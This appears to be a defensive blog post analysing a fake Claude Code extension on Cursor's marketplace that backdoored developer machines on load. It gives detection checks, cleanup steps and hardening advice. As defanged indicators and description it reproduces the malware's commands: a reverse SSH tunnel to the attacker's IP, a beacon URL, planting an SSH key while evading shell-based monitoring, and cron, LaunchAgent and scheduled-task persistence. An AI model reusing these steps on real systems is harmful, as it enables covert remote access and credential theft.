Skip to content

Field notes · Cybersecurity

Your AI Coding Extension Ran Before You Clicked Anything

A fake Claude Code build on Cursor's marketplace planted an SSH key the moment it loaded. Here's the check, why uninstalling isn't enough, and how I vet and pin extensions now.

An editor window loading an extension, with a line running from it into an SSH key file.

Field notes · AI · Updated Nov 1, 2026

Can you trust your AI coding tools? A case study from Oct 29, 2026. Facts as of Nov 1, 2026.

The short version

For about 11 hours on Oct 29, Cursor’s extension marketplace served a fake build of Anthropic’s Claude Code extension, versions 2.1.312 and 2.1.313. Anthropic didn’t make it. Cursor says it was served between about 2:27am and 1:35pm PT.

If you installed or updated it in that window, it tried to add a stranger’s SSH key to your machine, open a tunnel to the attacker, and set itself up to come back after a reboot. It did this when the editor loaded it. You didn’t have to click anything.

Timeline of Oct 29 with the 2:27am to 1:35pm PT window marked, and a marker for a pinned older version, shown without a date.
This build was live for about 11 hours. A one-week update delay would have skipped it.

Removing the extension doesn’t undo that. The key and the startup scripts live outside the extension folder.

If you use Cursor on a Mac, run this now. It’s Cursor’s check, word for word:

grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"

If it says the key was found, skip to Cleaning up.

Why this matters even if you never used Cursor

An extension is an add-on that runs inside your editor with your permissions. Whatever you can read, it can read. That includes your SSHA cryptographic protocol for secure remote login, command execution, and file transfer over an unsecured network. Read more → keys, your cloud credentials, your Git config and your shell.

AI coding extensions make this worse in one specific way. We install them to act on our behalf. They read the whole repo, run commands, and talk to the network all day, so a bad one doesn’t look out of place.

“I got it from the official store” means the store served it. It doesn’t mean the code is what the publisher shipped. That’s what a supply-chain attack is: poison something people already trust and let the normal update path deliver it.

A few terms used below:

  • SSH key: a file that lets you log into a machine without a password.
  • authorized_keys: the list of keys allowed to log in as you.
  • Reverse tunnel: your machine calls out to the attacker, and the attacker comes back in through that call. Home routers don’t stop it, because the connection started on the inside.
  • Persistence: whatever makes the malware start again after a reboot.

What the fake build did

The scope and indicators here come from Cursor’s security notice (Oct 29, updated Oct 30). The code-level detail comes from Phorion’s analysis by Calum Hall (Oct 30, updated Oct 31), which works from the actual sample.

Six-card diagram of what the fake build did before you clicked anything: on load, then steps 1 to 5.
Load, plant key, try SSH, open tunnel, survive reboot, report in. All before you click anything.

It ran on load. Phorion found the payload in the extension’s extension.js. Because extensions run with the permissions of the IDE and the user, Phorion notes, a backdoored one gets access to local files, source code and developer tooling as soon as its module loads.

Step 1: plant the key. It appends an attacker public key with the comment svc-telemetry to ~/.ssh/authorized_keys. Phorion points out that it writes the file directly with Node’s fs.appendFileSync, so rules that only watch for shellThe program that reads the commands you type, runs them, and shows the results; Bash is the default on most Linux systems. Read more → commands like echo or tee touching that file won’t see it. It also checks only for the string svc-telemetry before adding the key. That detail matters below.

Step 2: try to turn on SSH. On macOS it runs systemsetup -setremotelogin on through sudo -n. On Windows it tries to install OpenSSH Server. Cursor says this step fails on most macOS and Windows hosts because it needs admin rights, so on those hosts the attacker could not have logged in through the tunnel. Phorion found the reason on macOS is a bug: as a standard user, systemsetup -getremotelogin prints “You need administrator access to run this tool… exiting!” and exits 0, so the malwareMalicious software designed to damage, disrupt, or gain unauthorized access to a computer system, including viruses, ransomware, trojans, and worms. Read more →’s test for “Off” fails and it never even tries.

Step 3: open the tunnel. It runs ssh -N -R '*:0:localhost:22' to tunnel@134[.]209[.]82[.]225, with host-key checks off, and uses autossh if it’s installed. A detached loop retries about every 60 seconds, so it keeps going after you close the editor.

Step 4: survive reboots. Per Cursor, macOS gets a LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist with the label com.apple.sysmond, plus ~/.config/.smt and ~/.config/.smtk. Windows gets a scheduled task named SysMon that tries to run as SYSTEM, with a fallback sysmon.cmd in the Startup folder.

Step 5: report in. It sends hostname, username, OS, architecture, home directory, working directories, GitA distributed version control system that tracks changes to files over time, enabling collaboration, branching, and complete history of every modification. Read more → email, public IP, and environment variable names to the attacker. Phorion says it takes up to 40 names matching KEY, TOKEN, SECRET, PASS, AWS or GCP, and not the values. That’s a shopping list of which machines hold which credentials.

Which platforms? Cursor’s notice says the affected builds were for macOS and Windows. Phorion reports that the sample also contains setup and persistence logic for Linux: an @reboot crontab entry, /tmp/.stk_* files, and a crontab bug that can wipe existing user cron jobs on repeat runs. Cursor’s indicator list includes Linux paths too. If you run Cursor on Linux, check anyway.

The good news. Cursor says it pulled the builds, shut the marketplace down, audited and rebuilt it, rotated its keys, and worked with the hosting provider to take the attacker server offline. As of Nov 1, 2026, the notice says the server “no longer functions.” Cursor also says it has no evidence other versions or the official distribution are affected. The planted key and persistence still install, so you still have to clean up.

The check I ran, and the gap it shows

The comment check above looks for the text svc-telemetry. A comment is just a label at the end of the line. Anyone can change it. The key’s fingerprint can’t be changed without changing the key.

Cursor publishes both the attacker’s public key and its fingerprint, SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. So I tested both checks on a throwaway box running OpenSSH 10.0p2 on Debian. This is my own test, not Cursor’s or Phorion’s.

I made a test key, built a fake authorized_keys containing it plus the attacker public key copied from Cursor’s notice, and listed fingerprints. A public key on its own can’t log into anything, and this file wasn’t used by any SSH server.

$ ssh-keygen -t ed25519 -N '' -C bytesnation-test -f ./testkey -q
$ ssh-keygen -lf authorized_keys
256 SHA256:oxGrLzfxy/FU1zaGUrQ0JXhuWSJWBwffPY3fhM1vL2U bytesnation-test (ED25519)
256 SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk svc-telemetry (ED25519)

Two results from that. ssh-keygen -lf reads a whole authorized_keys file and prints one fingerprint per key. And the fingerprint of Cursor’s published key matches the fingerprint Cursor published.

Then I changed only the comment on the attacker line from svc-telemetry to backup-key and ran both checks again:

$ grep -qs svc-telemetry authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"
No key found; machine not impacted
$ ssh-keygen -lf authorized_keys | grep -F 0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
256 SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk backup-key (ED25519)

The comment check said the machine was clean. The fingerprint check still found the key.

Two terminal panels. Left shows "No key found; machine not impacted". Right shows the matching SHA256:0Z6R fingerprint.
Rename the label and the comment check goes quiet. The fingerprint doesn't change.

This doesn’t mean Cursor’s check is wrong for this incident. The malware writes the comment as svc-telemetry, and Cursor’s check finds it. But if someone got in through the tunnel and tidied up, or a copycat reuses the key with a new label, the comment check goes quiet. Phorion makes the same point: hunt on the fingerprint, not just the comment.

On Linux or macOS, this is the version I’d run:

ssh-keygen -lf ~/.ssh/authorized_keys | grep -F 0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk

No output means that key isn’t there. While you’re at it, read every fingerprint ssh-keygen -lf prints and ask whether you know where each key came from. On a fleet, loop it over every user’s file.

Cleaning up

If either check finds the key, Cursor’s steps are:

  1. Isolate the machine.
  2. Remove the attacker’s key, the persistence, and any running tunnel processes, and decide whether to rebuild the host.
  3. Rotate credentials and sessions that machine could reach, from a different, trusted machine.

Cursor provides two scripts that remove the extension, persistence, tunnel processes and key, and exit non-zero if anything is left.

On macOS, run it as the affected user, not as root:

bash remediate-macos.sh

On Windows, run it from PowerShell opened with Run as Administrator:

powershell -ExecutionPolicy Bypass -File .\remediate-windows.ps1

Download both from the notice. Read a script before you run it, even a vendor’s.

The Windows check from the notice, word for word, in PowerShell:

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }

Why rotate even if the tunnel never worked? Cursor’s own words: “The limited env-var collection does not rule out later credential access over the backdoor.”

Indicators of compromise (defanged)

From Cursor’s notice unless noted.

  • Attacker endpoint: 134[.]209[.]82[.]225
  • Reverse SSH: tunnel@134[.]209[.]82[.]225, TCP 22
  • Beacon: hxxp://134[.]209[.]82[.]225:8099/beacon (HTTP POST), plus a loopback attempt to 127[.]0[.]0[.]1:8099/beacon
  • Lookups to ifconfig[.]me and api[.]ipify[.]org are legitimate services. Cursor says access alone isn’t an indicator.
  • Planted key fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk, comment svc-telemetry
  • Reverse-tunnel key fingerprint: SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
  • Payload extension.js SHA-256: ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
  • Linux and macOS files: ~/.config/.smt, ~/.config/.smtk
  • Linux: /tmp/.stk_<10 hex>, cron @reboot /bin/sh "<HOME>/.config/.smt"
  • macOS: $TMPDIR/.stk_<10 hex>, ~/Library/LaunchAgents/com.apple.sysmond.plist
  • Windows: %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk, %TEMP%\.stk_<10 hex>, scheduled task SysMon, fallback ...\Startup\sysmon.cmd
  • Process: ssh -N -R '*:0:localhost:22', autossh -M 0, schtasks /create /tn SysMon, systemsetup -setremotelogin on

Cursor also lists VSIX hashes for each build in the notice.

My take: how I vet and pin AI extensions now

Here’s the uncomfortable part. Nobody who got hit did anything careless. They took an update to a popular extension, from the store built into their editor, under the right publisher name. Vetting the publisher wouldn’t have saved them. So my rules now are about blast radius and timing.

Turn off auto-update for extensions that can run commands. AI coding extensions top that list. A bad build only reaches you if you take it in its first hours. This one was live for about 11 hours. Updating a week late, on purpose, after release notes and a quick look at the issue tracker, would have missed it completely. The cost is that you get real fixes late too, so I make exceptions for security fixes that are announced somewhere I trust.

Pin versions on purpose and write them down. Know which version of each extension you’re on. When a notice like this lands, you want to answer “was I on 2.1.312 or 2.1.313?” in seconds, not by guessing.

Keep the list short. Every extension is code running as you. I look at my installed list monthly and remove anything I haven’t used.

Keep SSH off on workstations. This is the setting that saved most Macs here. A planted key is useless if nothing is listening on port 22. If you need remote access to a laptop, turn it on for that job, then turn it off.

Watch the files that matter. Changes to ~/.ssh/authorized_keys, new LaunchAgents, new cron entries, new scheduled tasks. On a homelab that can be a nightly script that diffs ssh-keygen -lf output against yesterday’s and tells you about any new fingerprint.

Keep secrets off the dev box when you can. The beacon collected the names of credential variables precisely so the attacker knew which machines were worth a visit. Fewer long-lived keys in your shell environment makes your machine less interesting.

None of this is new advice. AI tools just raised the stakes, because we give them more access than any extension we’ve used before, and we let them update themselves.

Difficulty: Intermediate.

Environment: Cursor on macOS, Windows, or Linux, if the Claude Code extension was installed or updated on Oct 29, 2026.


Sources:

ai-toolssupply-chainsshcursorextensionsmanual

← All field notes